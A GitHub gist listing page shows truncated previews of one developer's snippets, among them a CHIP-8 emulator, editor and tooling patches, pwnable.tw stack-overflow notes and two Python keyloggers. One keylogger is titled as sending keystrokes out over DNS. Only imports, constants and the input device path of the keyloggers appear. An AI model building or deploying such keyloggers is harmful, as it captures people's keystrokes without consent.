Skip to content

Instantly share code, notes, and snippets.

@OwenChia
OwenChia / c8emu.c
Last active June 16, 2021 16:43
Chip 8 Emu - C & WASM version - https://owenchia.coding.me/c8emu/
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <emscripten.h>
#define SCREEN_W 64
@OwenChia
OwenChia / gef_att.patch
Last active July 9, 2019 16:05
Permanently Change gef/pwndbg disassembly flavor from intel to att syntax
diff --git a/gef.py b/gef.py
index 13e26eb..2f189eb 100644
--- a/gef.py
+++ b/gef.py
@@ -1160,6 +1160,7 @@ def capstone_disassemble(location, nb_insn, **kwargs):
capstone = sys.modules["capstone"]
arch, mode = get_capstone_arch(arch=kwargs.get("arch", None), mode=kwargs.get("mode", None), endian=kwargs.get("endian", None))
cs = capstone.Cs(arch, mode)
+ cs.syntax = capstone.CS_OPT_SYNTAX_ATT
cs.detail = True
@OwenChia
OwenChia / keylogger_dns.py
Created July 8, 2019 15:41
keylogger via dns written by pure python
# -*- coding: utf-8 -*-
import selectors
import socket
from ctypes import BigEndianStructure, Structure, c_int32, c_int64, c_uint16
from enum import IntEnum
from functools import partial
EV_KEY = 1
EV_KEY_VALUE = {0: '\x1b[31mreleased\x1b[0m',
1: '\x1b[32mdepressed\x1b[0m',
@OwenChia
OwenChia / keylogger.py
Last active July 3, 2019 08:04
simple keylogger written by python
# -*- coding: utf-8 -*-
import selectors
from ctypes import Structure, c_int32, c_int64, c_uint16
EV_KEY = 1
EV_KEY_VALUE = {0: '\x1b[31mreleased\x1b[0m',
1: '\x1b[32mdepressed\x1b[0m',
2: '\x1b[33mrepeated\x1b[0m'}
EV_KEY_VALUE_UNKNOWN = '\x1b[37;41;5munknown\x1b[0m'
EV_DEVICE = "/dev/input/event5"
@OwenChia
OwenChia / proxy.plugin.zsh
Created July 3, 2019 07:47
proxychains shotcut
# proxychains shotcut
proxy-command-line() {
[[ -z $BUFFER ]] && zle up-history
[[ $BUFFER == sudo\ * ]] && LBUFFER="sudo proxychains ${LBUFFER/sudo /}"
[[ $BUFFER != proxychains\ * ]] && [[ $BUFFER != sudo\ proxychains\ * ]] && LBUFFER="proxychains $LBUFFER"
}
zle -N proxy-command-line
# Defined shortcut keys: [Esc] [Esc] [p]
bindkey "\e\ep" proxy-command-line
diff --git a/app/config/yakuake.kcfg b/app/config/yakuake.kcfg
index 1d19d21..392c632 100644
--- a/app/config/yakuake.kcfg
+++ b/app/config/yakuake.kcfg
@@ -85,6 +85,11 @@
</entry>
</group>
<group name="Appearance">
+ <entry name="Blur" type="Bool">
+ <label context="@label">Blur</label>
@OwenChia
OwenChia / gist:4dc69b7e39a667476df704a2de9af5bf
Last active May 16, 2019 11:14
栈溢出学习笔记 (一)
题目是 pwnable.tw 上的一个, start[0]
使用 hexdump -Cv start 得到如下输出:
00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 02 00 03 00 01 00 00 00 60 80 04 08 34 00 00 00 |........`...4...|
00000020 6c 01 00 00 00 00 00 00 34 00 20 00 01 00 28 00 |l.......4. ...(.|
00000030 05 00 02 00 01 00 00 00 00 00 00 00 00 80 04 08 |................|
00000040 00 80 04 08 a3 00 00 00 a3 00 00 00 05 00 00 00 |................|
00000050 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
@OwenChia
OwenChia / shutil.make_archive.patch
Created May 1, 2019 14:08
python stdlib - shutil - add support for different ZIP compression method
diff --git a/Lib/shutil.py b/Lib/shutil.py
index 6cfe3738f6..9b3c007596 100644
--- a/Lib/shutil.py
+++ b/Lib/shutil.py
@@ -844,14 +844,29 @@ def _make_tarball(base_name, base_dir, compress="gzip", verbose=0, dry_run=0,
return archive_name
-def _make_zipfile(base_name, base_dir, verbose=0, dry_run=0, logger=None):
+def _make_zipfile(base_name, base_dir, compress="zlib",
@OwenChia
OwenChia / setup.sh
Last active March 30, 2019 02:47
Install neovim fro Tencent Cloud Studio
#!/bin/sh
# vim: set nu rnu fdm=indent ts=2 sts=2 shiftwidth=2 sr nowrap :
TODAY=$(date +%Y%m%d)
echo "Running on $(sed -nE '/PRETTY_NAME/{s/PRETTY_NAME="([^"]+)"/\1/p}' /etc/os-release)..."
cat <<EOF
@OwenChia
OwenChia / sh.rs
Created November 18, 2018 10:04
shell
use std::env;
use std::io::{self, Write};
use std::path::Path;
use std::process::{Command, Stdio, Child};
fn main() {
loop {
print!("> ");
io::stdout().flush().unwrap();